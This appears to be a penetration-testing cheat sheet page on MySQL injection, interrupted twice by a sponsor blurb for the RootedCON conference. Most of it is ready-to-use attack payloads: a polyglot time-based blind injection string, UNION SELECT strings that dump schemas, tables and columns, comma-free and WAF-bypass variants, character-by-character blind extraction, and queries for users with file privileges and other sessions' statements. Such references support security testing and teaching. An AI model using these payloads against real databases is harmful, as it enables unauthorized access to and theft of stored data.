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MySQL injection

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Comments

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interesting Functions

Confirm Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Useful functions

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

All injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

Flow

Remember that in "modern" versions of MySQL you can substitute "information_schema.tables" for "mysql.innodb_table_stats" (This could be useful to bypass WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Only 1 value

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Detect number of columns

Using a simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
​​​RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Learn here different options to abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Information_schema alternatives

Remember that in "modern" versions of MySQL you can substitute information_schema.tables for mysql.innodb_table_stats** ** or for sys.x$schema_flattened_keys or for sys.schema_table_statistics

MySQLinjection without COMMAS

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Retrieving values without the column name

If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

MySQL history

You ca see other executions inside the MySQL reading the table: sys.x$statement_analysis

Version alternatives

mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> select @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
​​​​RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
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